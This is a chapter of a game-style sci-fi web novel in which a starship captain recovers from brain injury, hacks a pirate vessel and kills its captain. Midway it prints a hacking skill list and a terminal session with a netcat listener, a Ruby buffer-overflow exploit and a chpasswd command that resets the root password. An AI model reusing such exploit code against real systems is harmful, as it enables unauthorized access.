Mark woke up feeling like his head had been used as a human piñata. His nostrils felt like someone had shoved two golf balls up them, each beat of his heart sent pain rippling throughout his entire head. He tried to open his eyes, but couldn’t see. Sudden fear flooded his chest, and he began thrashing about wildly.
“Mfm adsd sdljkm?”, he said.
“Relax”, EVE said in his head. “You attempted to use Modular Abilities beyond your piloting ability. I helped, but you suffered massive brain trauma as a result. The part of your brain that regulates speech is damaged, as are the parts that enable vision. You’re not blind, but you need to heal. Nanobots are repairing the damage now. The fact that you’re awake means the most critical damage is healed.”
“Wlkj ljkjmiot?”, he said in his head. Even though he knew what he wanted to say, getting the correct sequence of words to formulate was a task currently beyond him. Fortunately, EVE seemed to understand him.
“Lieutenant Smith is fighting aboard the attacking vessel. She’s beyond the range of the ships sensors, and I can’t help her without a human bridge between her and this ship. Since no hostile forces have boarded this ship, I assume that she’s still fighting.”
He decided to do an inventory check of himself instead of struggling with the restraints any further. He worked his way from the bottom, curling his toes on both feet, then flexing his calves, flexing his leg muscles and gluteus, up to his abs, chest, arms, and then fingers. Everything checked out, but there was a numbness in some areas. He guessed that portions of his brain were still being repaired that controlled that part of sensory input. Still, even if he was effectively blind, the ships sensors were still accessible.
That gave him an idea. He used his limited interface skill to search throughout the ship. Unfortunately, any video feeds were inaccessible to him since that part of his brain was still damaged, but he could pick up audio feed. He didn’t like what he heard.
“Seventeen of our team members are down.” John Stelmach said grimly. Mark remembered that John was the Chief Navigations NCO, and guessed that he’d been put in charge of the ship while Luciana was busy with the assault. EVE confirmed his guess.
“What do we do if they get wiped out?” Oliver Kwityn asked. Oliver was the chief engineer.
“Well, if that happens, you take the sensor data we’ve gathered on this ship, use an emergency evacuation pod, and aim yourself at the nearest planet. I’ll hold off the attacking forces and send out an emergency distress signal, along with your coordinates. You report the ship that attacked us and what happened.”
“What will you do?”
“I’ll hold them off for as long as I can with the remaining crew. If they look like they’re going to take the ship, I self-detonate. That’s why you need to get gone as soon as they board.”
There was a pause between the two men.
“Why don’t you come with me?” Oliver asked.
“Because, a Captain always goes down with their ship.”
Oliver started to argue, but John cut him off.
“If we all evacuated, they’d notice and just pick up the ejection pod. You need to be gone long enough to make it hard for them to follow, and someone has to stay to destroy the ships or they can just get your coordinates from it. If you survive, just name your kid after me to help my memory go on.”
“Thanks”, Oliver said in a whisper.
“Hey, don’t go all maudlin on me. We’re going to be fine. I don’t care how many people they have, they’re not getting past Lieutenant Smith. She’s a fighter.”
The attempt to inject some levity into the situation helped, but Oliver couldn’t help but be more than a little touched that his friend offered to sacrifice his life to save him if the ship fell.
Mark opened his eyes again and realized that now, he could see.
“Can I say real words?” he asked out loud. Apparently, yes he could.
He looked down at his restraints and asked out loud, “EVE, could you let me out of these things?”
“I can, but I caution you against any further activity. You are not at full health.” He glanced at his HUD to see what his vital stats were.
Captain Mark Thomas
Health: 55 out of 100.
Active Debuffs:
- Neuronal damage. You have sustained brain damage. - 2 to intellect. - 3 to health. -2 to dexterity.
40 points remain unallocated.
“EVE, won’t these fancy nanobots keep repairing me while I’m on the go?”
“No”, she replied, “They require assistance from the ship. Without my guidance or a medical bots help, nanobots are inert and unable to follow any instructions. As soon as you exit out the ship, you only have limited interface options available, and that’s not enough to command them. Please lie down while you finish healing.”
“Not a chance. Want to attack my ship? Kill my people? I’ll filet every one of the bastards and paint the ship red with their blood. I’ll crack their bones open and suck the marrow out. Now EVE, LET ME OUT OF THESE RESTRAINTS!”
EVE complied and the harnesses holding him down vanished. He jumped out of the medic bay and ran down the halls to the cargo loading area. He fell down a few times as he ran, vertigo overtaking him, but he pulled himself back to his feet and kept running. He was fixing to rappel out of the vehicle when EVE said, “Wait! You aren’t loaded for combat. Getting yourself killed does no one any good!”
He grudgingly admitted that she did have a point, and went to the SMART locker. He saw that Lieutenant Smith had already setup a nice set of pre-selected menus. He felt a pang of guilt, remembering how ineffective he’d been at trying to figure out how to equip his personnel. He pushed it aside as he hurriedly dressed in the Assault gear.
He went back to the rappel station and waited for EVE to warn him about anything else, but she didn’t have anything to say. He opened the cargo doors and rappelled into the Void Terror ship. His entrance startled the Security group guarding the area, but they thankfully didn’t open fire on him.
Sgt Bamburak busied himself trying to hack the computer system via the cargo computer, but didn’t seem to be having any luck. He saluted the Captain until Mark replied, “At ease soldier. No saluting during a combat mission, understand?” The Sgt nodded and Mark went to the computer to supervise what Bamburak had been doing.
“Any luck on it?” Mark asked.
The Sgt shook his head in frustration. “No sir. No matter what I do, I can’t seem to get through the system. It locks me out each time.”
“EVE”, Mark thought in his head. “Show me the skills necessary for hacking.” He felt like a bit of an idiot for not leveling up his ship skills after gaining his new class, but he could make up for that mistake here.
Hacking for Dummies: Tutorial
So, you want to be a hacker eh? Well buckle up for the bad news, this isn’t like the movies and there isn’t anything flashy about it. Skills that make a good hacker:
- Computer Operations. Exploit OS and kernel level loopholes and run intrusion software or gain admin access to a computer.
- Computer Programmer. Write OS and kernel level exploits and run them on a computer.
- Cryptography. Gain an understanding of common cryptographic security measures and how to countervail against them.
- Electronics Operation, communications and/or surveillance. Intercept surveillance or communications to gain access to classified information.
- Electronics Repair. Learn to exploit hardware level intrusions and modify it to gain access.
- Fast-Talk. Launch phishing or social attacks to convince people to give you information you shouldn’t have access to. Since many passwords rely upon personal data, use this in combination with Computer Operations to guess the most likely passwords.
- Research. Find documented security holes and exploit them. Requires prerequisite knowledge of Computer Operations or Computer Programming to use successfully.
- Scrounging. Hey, sometimes people just leave passwords lying around.
“Can you help me out with any of this?” Mark asked in his head.
“No”, came EVE’s reply. “I’m a military computer. These things fall outside my realm of knowledge. You’d have to upgrade the ship’s knowledge base to gain more access.”
“How the hell could you not know how to do this? Isn’t this just like… I don’t know, like speaking your native language or something?”
Unauthorized duplication: this tale has been taken without consent. Report sightings.
“No. It’s more akin to moving around in a human body versus having a doctor’s knowledge about a human body. They are completely different things.”
Mark resigned himself to spending the points. In most video games, choosing stats wasn’t a big deal. The game played on in the exact same scenarios, so it was easy to know what to spend on. But in a Proxima World, the situation could change rapidly. Something that looks like a good choice for one situation ends up being catastrophically wrong for another. Player’s typically held their points close to their chest until they needed them. Well, he needed them.
Leveling up a skill considered very hard used a simple squared formula. Each level of skill points was double the level needed, with at least one point needed to put it in to the realm of known unknown. That gave you enough skill to talk to someone who knew about the skill in question to give you more information about it, but not enough to know anything more about it than that it existed. That was level zero for a very hard skill and cost one point.
Going to level one cost two points, level two cost four points, level three cost eight points, and so on.
He figured he could get to level five of computer programming and computer operations, thirty-two points total, and hoped the would be enough to crack the security system. If he’d been a hacker in real life, he probably could have figured out whether to put more points into computer operations or computer programming, but at least his electronics operation skill level 2 (communications and surveillance) gave him some clue on how to operate a computer. Otherwise, it would be real embarrassing to know everything about a computer’s source code and runtime environment, but have no idea how to turn it on or use the keyboard.
He selected level 5 in both skills and a new set of memories emerged in his head. This time, while he was at West Point, he spent his free time writing computer software and working on operating systems for various hardware. He used it to play practical jokes on his friends, like making their mouse move randomly when they were typing, or have the computer setup a voice call with their parents when they were walking around the room naked.
He knew that for this type of computer OS, if he pressed multiple keys at certain exact spots and hold them down for a few seconds, a terminal prompt would open. As soon as he pressed and held it, a small terminal window popped up. Success.
He began to write his code:
Terminal Prompt
while true; do nc -vv -l -p 4444 -e ./; done
# listening on [any] 4444
vim ./exploit.rb
require 'socket'
s = TCPSocket.new("localhost", 4444)
payload = "A"*140 +
[
0x42424242,
].pack("I*")
s.write(payload)
s.close()
:q
# Segmentation fault (core dumped)
gdb --quiet ./ core
# Program terminated with signal 11, Segmentation Fault
objdump -D ./ | grep write
# 134513452 R_386_JUMP_SLOT write
objdump -D ./ | grep read
# 134518300 R_386_JUMP_SLOT read
vim ./exploit.rb
require 'socket'
s = TCPSocket.new("localhost", 4444)
cmd = ARGV[0] + "\0"
buf = 0x08049530
read_addr = 0x0804832C
write_addr = 0x0804830C
func_addr = 0x43434343
payload = "A"*140 +
[
cmd.length,
buf,
0,
func_addr,
read_addr
].reverse.pack("I*")
s.write(payload)
s.write(cmd)
puts(s.read)
s.close()
:q
ruby exploit.rb "\"root:hacker_password\" | chpasswd"
su - root
# Enter password
hacker_password
login root
# Hello System Administrator! Welcome to the console!
He had no idea what he had actually done, but the computer system let him in. A full overview of all the ships systems appeared on the console.
Sgt Bamburak seemed impressed. “Wow sir, you blew right through their system!”
Mark didn’t know how to respond, so he brushed it off. “I worked on this exact type of system in college, so I knew how to exploit it. We’re just very lucky.” Which, as far as lies he’d told goes, was somewhat close to the truth with his modified memories.
“Eve”, he thought in his head, “Can you help me now?”
“Sure. Ask Sgt Bamburak to hook up his signal amplifier so that I can have access from the ship and boost it out to everyone’s headsets.”
“Sgt. Bamburak”, Mark said. The man snapped to attention.
“Yes sir?”
“Hook up the signal amplifier so I can send out the data to all the available units.”
The NCO did as he was asked. While he worked on that, Mark went through the menus. He could see where the remaining forces were huddled up. They setup the dining area as a kill point, using tables to block the paths that the team could take. They’d either have to move to the middle of the floor, and be in a kill zone, or try to move overturned tables, chairs, and other gear, which would still get them killed. “Disrupting obstacles” was the military term for it.
They also set up manned machine gun turrets that would spit fire at the team as soon as they crossed. He knew that Lieutenant Smith would follow protocol, probably toss in grenades and move forward, but the turrets were too far back to get hit and the gunners didn’t need to be accurate, just shoot down the middle. They’d be wiped out.
Mark looked for the location of the team. He saw them on the bottom tier of the ship, fast approaching the dining area kill zone. The only saving grace was that picking up security team Alpha Bravo slowed them down. Otherwise, they’d already be there.
He flipped his headset to All and quickly shouted out. “Assault squadrons. Stand down! Vital intel is inbound! Repeat, vital SIGINT is impound.”
Sgt. Bamburak hooked up the amplifier, and the team received the intelligence. They stopped their advance. EVE told him that there was one other very important thing he needed to look at.
Lieutenant Smith heard her headset go on just as they were nearing another entry point. “Assault squadrons. Stand down! Vital intel is inbound! Repeat, vital SIGINT is impound.”
She couldn’t believe her ears. The Captain was back in action. Hoo-rah. She still wanted to find out what his big secret was, but that could wait until after the mission was over. After they tended the dead. His SIGINT turned out to be the camera feeds of the room they were about to enter.
Machine gun turrets set up a turkey shoot, three sets of turrets in the middle, left, and center position, oriented on the door. Chairs, tables, and other obstacles meant that they wouldn’t be able to advance position easily. Those obstacles wouldn’t provide any real cover, and if they tried to hide there, they’d be torn through as the bullets ripped the tables to shreds.
She motioned for PFC William Gordon to hand over his 4mm Gauss rifle. She exchanged her rifle for his and flipped on her comm.
“When we breach, I go right, SSG Wasek, you go left. My team on me on right. When we breach, throw your HEMP grenades as far back as you can. No roll and lob, send them to the back.”
The assault teams didn’t bother using the little eight balls that they had up until now. It was full sticks of C4 on the doors. They wouldn’t be prepared for the smoke and blast that would be coming.
Lt. Smith count down on her fingers, and the assault team detonated the charge. Fortunately, their helmets automatically dampened loud noises and lights, or they’d be the ones with concussive damage.
Both teams lobbed their HEMP grenades as far as they could across the two-hundred foot corridor, while the two team leaders sprayed down heavy plasma damage exactly where the cameras said the opposing forces would be. A few shots came from the machine gun turrets, but the gauss rifles destroyed their functional capacity. The enemy hadn’t been expecting such a strong insurgent force. They were blown apart and dead.
There were six bodies in the dining hall. That meant one person was left on deck. They verified the kills. Then they went onto the bridge.
Waiting for them was a skinny, bald man in his late 50s. He had the sharp, angular features most people would describe as “hawkish”, coupled with a severe set of eyebrows that made him seem imposing. He held a detonator in his left hand, but seemed composed.
“Lt. Smith of the Calrusian. You have attacked a vessel in space with no legal authority from any recognized government entity, in violation of interstellar laws. You are hereby under arrest and detention until you can be brought before trial and judged for your crimes. Any attempt to resist will be met with lethal force.”
“Lethal force?” he asked. His tone matched his severe appearance. “I am an unarmed man. Murdering an unarmed man is also a violation of interstellar space laws, is it not?” He gestured about the room, as if making his plea before a jury.
“Well, I say unarmed, but I do have one weapon. This is a dead man’s switch. If I’m murdered, then the switch goes off. I think we’re in what the Old World called ‘A Mutually Assured Destruction’ scenario.”
Lt. Smith didn’t lower her rifle. “Go on,” she asked. “What are the terms?”
Captain Thomas came in through the door. He hoped his walk looked confident, but going down two flights of stairs turned out to be harder than he thought.
“I’m Captain Thomas of the Calrusian. Any negotiations will go through me.”
He walked towards the unknown Captain of the Void Terror.
“It doesn’t matter whom I negotiate with.” The Captain said. “My demands are simple. Firstly, you will exit my ship. The Captain will remain on board as my hostage to make sure that you don’t try anything crafty, like calling in for authorities or reinforcements. Second, once my other crew arrives…”
Cpt Thomas pulled out his vibroblade sword and cut off the unnamed Captain’s hand that held the detonator. It dropped limply to the ground, and the hand released from the detonator. Everyone tensed for their last moments, but nothing happened. Thomas punted the hand across the room. The unnamed Captain looked at his cauterized stump, and started to scream in pain when Thomas chopped off his head.
He looked around at his crew. He took off his helmet so they could see his grin. They all relaxed and pulled off their helmets.
“EVE told me about the self-destruct system on this ship and the frequency it was tuned to. Once we knew that, blocking it with a counter-signal was easy.
He sobered up when he realized what they would have to do.
“Gather our dead. We’ll transport them aboard our ship. We’ll tether ourselves to this ship and haul it to the nearest planet where we can sell our goods. There’s some valuable items in the cargo hold, so I think that answers the question of what happened to the sixth fleet that was supposed to meet us. We’ll reverse map this ships travel points and send back a report on where the ambush occurred. After that’s complete, rest and recuperate from the events. We’ll have a week’s time to inventory and assess everything that’s in here, as well as cleanup the mess.”
Quest updated: Pirate attack
You have successfully completed the quest, pirate attack. You have overthrown the ship! However, you spent most of that time passed out in a med bay, doing nothing. Additionally, your poor leadership resulted in unnecessary casualties during the battle. 1 point granted.
You now have 9 unspent points.